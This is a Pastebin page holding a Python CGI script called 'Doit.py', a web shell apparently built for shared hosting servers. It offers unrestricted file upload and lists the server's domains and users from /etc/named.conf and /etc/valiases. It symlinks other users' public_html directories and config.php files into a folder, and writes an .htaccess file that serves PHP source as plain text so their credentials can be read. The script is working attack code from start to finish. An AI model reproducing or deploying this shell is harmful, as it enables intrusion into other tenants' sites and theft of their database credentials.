Advertisement
parkdream1

Doit.py

Jul 2nd, 2012
194
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 12.08 KB | None | 0 0
  1. #!/usr/bin/python
  2. #----------------------------------------------------->
  3. # Name      : Doit.py
  4. # Programmer    : T7~   < KSA >   <-+-> < love.you@h8tmail.com > <-+-> < T7TP@hotmail.com >
  5. # Version   : 1.0
  6. # MyBlog        : **
  7. # Date      : **
  8. #----------------------------------------------------->
  9.  
  10.  
  11. from cgi import FieldStorage
  12. from re import findall
  13. from subprocess import STDOUT,PIPE,Popen
  14. import os
  15. from sys import exit
  16. import cgitb
  17. from pwd import getpwuid
  18. cgitb.enable()
  19.  
  20. if os.environ.has_key('HTTP_ORIGIN'):
  21.         h = os.environ['HTTP_ORIGIN']
  22.  
  23. print'Content-type: text/html\n' #header
  24. def html():
  25.   print """<html><head>
  26. <title>coded by T7~</title><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
  27.    <style type='text/css'>
  28.    body{
  29.        font-family:Tahoma,Verdana,Arial;
  30.        background:url(http://animalbytz.co.uk/image/d.png);
  31.        background-color:#1e1e1e;
  32.    }
  33.    
  34.    .meu{
  35.        
  36.    }
  37.    .meu ul{
  38.        list-style:none;
  39.        padding:0;
  40.        margin-left:400px;
  41.        margin-top:20px;
  42.  
  43.    }
  44.    .meu ul li{
  45.        float:left;
  46.        margin-left:4px;
  47.    }
  48.    .meu ul li input{
  49.        -webkit-transition: 0.50s;
  50.        -moz-transition: 0.50s;
  51.        border:none;
  52.        background-color:rgba(29,99,131,1.0);
  53.        padding:5px 30px;
  54.        -webkit-border-radius:20px;
  55.        -moz-border-radius:20px;
  56.        color:#f2f2f2;
  57.        -webkit-box-shadow:0px 10px 10px rgba(20,20,20,1);
  58.        -moz-box-shadow:0px 10px 10px rgba(20,20,20,1);
  59.  
  60.    }
  61.    .meu ul li input:hover{
  62.        margin-top:6px;
  63.        -webkit-transition: 0.30s;
  64.        -moz-transition: 0.30s;
  65.        cursor:hand;
  66.        background-color:#09425c;
  67.    }
  68.    </style>
  69.    
  70. </head>
  71. <body bgcolor='#000' text='white'>
  72.  
  73.    <form action='?' method=POST>
  74.    <div class='meu'>
  75.    <ul><b>
  76.        <li><input type='submit' name='t7' class='mu'value='Upload' / >        </li>
  77. <li><input type='submit' name='t7' class= 'mu' value='Domains & Users & Symlink' / >       </li>
  78.    <li><input type='submit' name='t7' class= 'mu' value='Symlink' / >    </li>
  79. </b>
  80.    </ul>
  81.    </div>
  82.    <br /><br />
  83.    
  84.    </form>
  85.    <Br />
  86.  
  87.  
  88.    """
  89.    
  90. def hu():
  91.     print"""
  92.    <style type='text/css'>
  93.    .dvu{
  94.        margin-left:410px;
  95.        background-color:rgba(20,20,20,0.49);
  96.        width:450px;
  97.        -webkit-border-radius:20px;
  98.        -moz-border-radius:20px;
  99.        -webkit-box-shadow:0px 14px 5px rgba(20,20,20,0.19);
  100.        padding:0;
  101.        -moz-box-shadow:0px 14px 5px rgba(20,20,20,0.19);
  102.  
  103.  
  104.    }
  105.    .dvu form{
  106.    }
  107.    .dir{
  108.        padding:5px ;
  109.        outline:none;
  110.        background:none;
  111.        border:none;
  112.        border-bottom:1px dashed rgba(255,255,255,0.09);
  113.        margin:40px 200px 40px 40px;
  114.        font-size:15px;
  115.        color:#707070;
  116.  
  117.    }
  118.    .up{
  119.        -webkit-border-radius:20px;
  120.        background:none;
  121.        margin-bottom:50px;
  122.        border:none;
  123.        border-bottom:1px dashed (255,255,255,1);
  124.        padding-left:20px;
  125.  
  126.  
  127.    }
  128.    span{
  129.        margin:20px 0px 100px 20px;
  130.  
  131.    }
  132.    .s{
  133.        -webkit-transition: 0.30s;
  134.        -moz-transition: 0.30s;
  135.        border:none;
  136.        background-color:rgba(29,99,131,1.0);
  137.        padding:4px 25px;
  138.        -webkit-border-radius:20px;
  139.        -moz-border-radius:20px;
  140.        color:#f2f2f2;
  141.  
  142.    }
  143.    .s:hover{
  144.        
  145.        cursor:hand;
  146.        background-color:#09425c;
  147.    }
  148.  
  149.    </style>
  150.    <body>
  151.    <br />
  152.    <br />
  153.    <div class='dvu'>
  154.    <form  enctype="multipart/form-data" method='post'>
  155.    """+"<input type='text' class='dir' name='to' size='40px' value='%s'><br />"%os.getcwd()+"""
  156.    <span><input type='file' class='up' name='upload'> &nbsp&nbsp<input type='submit' value='Upload' name='_up' class='s' /></span>
  157.    </form>
  158.    </div>
  159.    </body>
  160.    """
  161. def hs():
  162.     print """
  163.    <title>Symlink</title>
  164.    <style type='text/css'>
  165.    .d{
  166.        margin-top:54px;
  167.        margin-left:410px;
  168.        background-color:rgba(20,20,20,0.49);
  169.        width:450px;
  170.        -webkit-border-radius:20px;
  171.        -webkit-box-shadow:0px 14px 5px rgba(20,20,20,0.19);
  172.        -moz-border-radius:20px;
  173.        -moz-box-shadow:0px 14px 5px rgba(20,20,20,0.19);
  174.        padding:0;
  175.  
  176.    }
  177.    .d form{
  178.    padding:30px 0px 30px 30px;
  179.    }
  180.  
  181.    .d form input[type='submit']{
  182.        -webkit-transition: 0.30s;
  183.        border:none;
  184.        background-color:rgba(29,99,131,1.0);
  185.        padding:4px 25px;
  186.        -webkit-border-radius:20px;
  187.        -moz-border-radius:20px;
  188.        color:#f2f2f2;
  189.        margin:25px 0px 0px 270px;
  190.  
  191.    }
  192.    .d form input[type='submit']:hover{
  193.        
  194.        cursor:hand;
  195.        background-color:#09425c;
  196.    }
  197.    .f{
  198.        outline:none;
  199.        border:none;
  200.        background-color:rgba(41,41,41,0.3);
  201.        padding-top:8px;
  202.        margin-top:10px;
  203.        -webkit-border-radius:4px;
  204.        -moz-border-radius:4px;
  205.        text-indent:4px;
  206.        color:#707070;
  207.        font-size:14px;
  208.     }
  209.    
  210.    </style>
  211.    <body>
  212.    <div class='d'>
  213.    <form action='?' method='post'>
  214.    <input type='text' value='/home/user/public_html/config.php' name='get' class='f' size='45px'/><br />
  215.    """+"<input type='text' value='%s/file.txt' name='here' class='f' size='45px;'/>"%os.getcwd()+"""
  216.    <input type='submit' value='Symlink' name='sym'/>
  217.    </form>
  218.    """
  219. def user():
  220.     print """
  221.    <title>Symlink</title>
  222.    <style type='text/css'>
  223.    .d{
  224.        margin-top:54px;
  225.        margin-left:410px;
  226.        background-color:rgba(20,20,20,0.49);
  227.        width:450px;
  228.        -webkit-border-radius:20px;
  229.        -webkit-box-shadow:0px 14px 5px rgba(20,20,20,0.19);
  230.        -moz-border-radius:20px;
  231.        -moz-box-shadow:0px 14px 5px rgba(20,20,20,0.19);
  232.        padding:0;
  233.  
  234.    }
  235.    .d form{
  236.    padding:30px 0px 30px 40px;
  237.    }
  238.  
  239.    
  240.    .f{
  241.        outline:none;
  242.        border:none;
  243.        background-color:rgba(41,41,41,0.3);
  244.        padding-top:8px;
  245.        margin-top:4px;
  246.        margin-left:120px ;
  247.        -webkit-border-radius:4px;
  248.        -moz-border-radius:4px;
  249.        text-indent:4px;
  250.        color:#707070;
  251.     }
  252.    
  253.    .h{
  254.        -webkit-transition: 0.30s;
  255.        -moz-transition: 0.30s;
  256.        border:none;
  257.        background-color:#0b2633;
  258.        padding:4px 0px;
  259.        width:370px;
  260.        -webkit-border-radius:20px;
  261.        -moz-border-radius:20px;
  262.        color:#f2f2f2;
  263.    }
  264.    .h:hover{
  265.        
  266.        cursor:hand;
  267.        background-color:#09425c;
  268.    }
  269.    
  270.    p{
  271.        margin-left:170px;
  272.    }
  273.    .hr{
  274.        margin-left:190px;
  275.        padding-bottom:1000px
  276.  
  277.        padding:4px 0px;
  278.        width:570px;
  279.        color:#f2f2f2;
  280.        text-decoration:none;
  281.    }
  282.    </style>
  283.    <body>
  284.    <div class='d'>
  285.    <form action='?' method='post' >
  286.    <input type='submit' name='gethome' class='h' size='45px' value='%s' />"""%form.getvalue('usersym')+"""<br /><br />
  287.    </form>
  288.    </body>
  289.    """
  290.     name=(form.getvalue('gethome'))
  291.     cmd = Popen('whoami',shell=True,stdin = PIPE,stdout = PIPE ,stderr=STDOUT, close_fds=True)
  292.     whoami = cmd.stdout.read().strip()
  293.     user= '/home/%s/public_html/'%form.getvalue('gethome')
  294.     myhome = '/home/%s/public_html/sss/'%whoami
  295.     ht = '/home/%s/public_html/sss/.htaccess'%whoami
  296.     try:
  297.         fs =form.getvalue('gethome')
  298.     except:
  299.         pass
  300.     if form.has_key('gethome'):
  301.         if os.path.exists(myhome):
  302.             if os.path.exists(myhome+fs+'-home.txt'):
  303.                 print '<script>alert("The File exists in /sss/ directory")</script> '
  304.             else:
  305.                 os.symlink(user,myhome+fs+'-home.txt')
  306.                 print "<a href='/sss/%s' target='_blank' class='hr'>Click Here</a>"%(fs+'-home.txt')
  307.         else:
  308.             os.mkdir(myhome,0777)
  309.             try:
  310.                 htx = open(ht,'w')
  311.                 htx.write('Options Indexes FollowSymLinks\nDirectoryIndex ssssss.htm\nAddType txt .php\nAddHandler txt .php\nAddType txt .html\nAddHandler txt .html\nOptions all\nOptions\nAllow from all\nRequire None\nSatisfy Any')
  312.             except:
  313.                 pass
  314.             if os.path.exists(myhome+fs+'-home.txt'):
  315.                 print "<script>alert('The File exists in /sss/ directory')</scrit> "
  316.             else:
  317.                 os.symlink(user,myhome+fs+'-home.txt')
  318.                 print "<a href='/sss/%s' target='_blank' class='hr'>Click Here</a>"%(fs+'-home.txt')
  319.  
  320.  
  321.  
  322.  
  323.  
  324. def do():
  325.     print """
  326.    <title>D & U & S</title>
  327.    <style>
  328.    table{
  329.        background-color:rgba(20,20,20,0.49);
  330.        padding:30px;
  331.        -webkit-border-radius:20px;
  332.        -webkit-box-shadow:0px 0px 14px rgba(20,20,20,6);
  333.        -moz-border-radius:20px;
  334.        -moz-box-shadow:0px 0px 14px rgba(20,20,20,6);
  335.  
  336.    }
  337.    table tr td{
  338.        border-bottom:1px dashed rgba(255,255,255,0.05);
  339.        -webkit-border-radius:2px;
  340.        -moz-border-radius:2px;
  341.        text-align:center;
  342.        color:707070;
  343.        padding:5px 10px;
  344.    }
  345.    a{
  346.        text-decoration:none;
  347.        color:#808080;
  348.    }
  349.    table tr:hover{
  350.        background-color:rgba(46,46,46,0.2);
  351.        -webkit-border-radius:2px;
  352.        -moz-border-radius:2px;
  353.        
  354.    }
  355.    a:hover{
  356.        color:red;
  357.    }
  358.    .sm{
  359.        -webkit-transition: 0.30s;
  360.        -moz-transition: 0.30s;
  361.        border:none;
  362.        background-color:rgba(29,99,131,1.0);
  363.        padding:4px 0px;
  364.        width:120px;
  365.        -webkit-border-radius:20px;
  366.        -moz-border-radius:20px;
  367.        color:#f2f2f2;
  368.        margin-left:20px;
  369.    }
  370.    .sm:hover{
  371.        cursor:hand;
  372.        background-color:#09425c;
  373.    }
  374.    </style>
  375.    <body>
  376.    <form action='?' method='post'><br />
  377.    <center><table>
  378.    
  379.    """
  380.     try:
  381.         r = open('/etc/named.conf','r')
  382.     except:
  383.         print "can't read /etc/named.conf"
  384.         exit()
  385.     do = findall('zone "(.*?)" ',r.read())
  386.     for i in range(len(do)):
  387.         if do[i]=='.':
  388.             pass
  389.         else:
  390.             try:
  391.                 s =os.stat('/etc/valiases/%s'%do[i])
  392.                 name = getpwuid(s.st_uid).pw_name
  393.             except OSError:
  394.                 name = 'No directory'
  395.             if name =='No directory':
  396.                 print "<tr><td class='t'><a href='http://www.%s' target='_blank'>%s</a></td><td>%s</td><td></td></tr>"%(do[i],do[i],name)
  397.             else:
  398.                 print "<tr><td class='t'><a href='http://www.%s' target='_blank'>%s</a></td><td><input type='submit' name='usersym'  class='sm' value='%s'></td></tr>"%(do[i],do[i],name)
  399.     print "</table></center></form>"
  400.    
  401. def upload():
  402.     try:
  403.         fi = form['upload']
  404.         if fi.filename:
  405.             fn = os.path.basename(fi.filename)
  406.             if form.has_key('to'):
  407.                 try:
  408.                     to = form.getvalue('to')
  409.                     if to[-1] == '/':
  410.                         open(to+fn, 'wb').write(fi.file.read())
  411.                         msg = 'The file [' + fn + '] was uploaded successfully '
  412.                     else:
  413.                         open(to+'/'+fn, 'wb').write(fi.file.read())
  414.                         msg = '<script>alert("The file [' + fn + '] was uploaded successfully")</script> '
  415.                 except:
  416.                     print "[<font color='red'>~</font>] Permission denied ..."
  417.             else:
  418.                 print "Upload T0 (: Erath (:"
  419.         else:
  420.             msg = '<script>alert("No file was uploaded")</script>'
  421.         print " <p>%s</p>" % (msg)
  422.     except:
  423.         pass
  424.  
  425. if __name__ == '__main__':
  426.     form = FieldStorage()
  427.     if form.getvalue('t7') =='Upload' or form.has_key('_up'):
  428.         html()
  429.         hu()
  430.         upload()
  431.     elif form.getvalue('t7') =='Symlink' or form.has_key('sym'):
  432.         html()
  433.         hs()
  434.     elif form.getvalue('t7') =='Domains & Users & Symlink':
  435.         html()
  436.         do()
  437.     elif form.has_key('usersym') or form.has_key('gethome') :
  438.         html()
  439.         user()
  440.     else:
  441.         html()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement